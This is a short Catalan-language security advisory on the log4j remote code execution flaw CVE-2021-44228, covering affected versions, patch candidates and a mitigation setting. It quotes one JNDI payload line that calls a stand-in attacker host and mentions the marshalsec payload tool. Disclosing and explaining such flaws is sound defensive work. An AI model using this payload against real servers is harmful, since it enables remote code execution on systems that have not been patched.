RCE en la llibreria log4j de Java

El dia 9 de desembre, es trobà un exploit 0-day en la llibreria de Java “log4j” que permetia l’execució de codi remot mitjançant el registre d’una cadena determinada.


ANÀLISI

CVE-2021-44228

La vulnerabilitat es dispara quan els logs d’un servidor contenen la càrrega útil (payload) $ {jndi:ldap://attacker.com/a} (on attacker.com és un servidor controlat per l’atacant). D’aquesta manera, log4j realitza una petició al servidor mitjançant Java Naming and Directory Interface (JNDI) i obté com a resposta la ruta a un arxiu de classe Java remot. Aquest payload permetrà que un atacant execute codi arbitrari [1].

Productes afectats:

2.0 <= Apache log4j <= 2.14.1

Actualment, la vulnerabilitat no té una puntuació CVSS v3 oficial. No obstant això, a causa de la seua gravetat, en moltes publicacions ha sigut considerada com a crítica [2].
En la pàgina de LunaSec [1] podem trobar un exemple d’explotació d’aquesta vulnerabilitat. A més, el projecte marshalsec ofereix una eina per a poder crear payloads, que podria ser utilitzada en aquesta vulnerabilitat.


RECOMANACIONS
Actualment no existeix una versió estable disponible. No obstant això, hi ha dos pegats candidats publicats com “log4j-2.15.0-rc1” i “log4j-2.15.0-rc2” disponibles en el GitHub d’Apache [3], que es recomana que s’instal·len. A més, per a versions superiors a la 2.10.0 s’ha afegit la propietat “formatMsgNoLookups” la configuració de la qual a “true” pot mitigar la vulnerabilitat temporalment [4].


REFERÈNCIES
(1) https://www.lunasec.io/docs/blog/log4j-zero-day/
(2) https://logging.apache.org/log4j/2.x/security.html
(3) https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
(4) https://issues.apache.org/jira/browse/LOG4J2-2109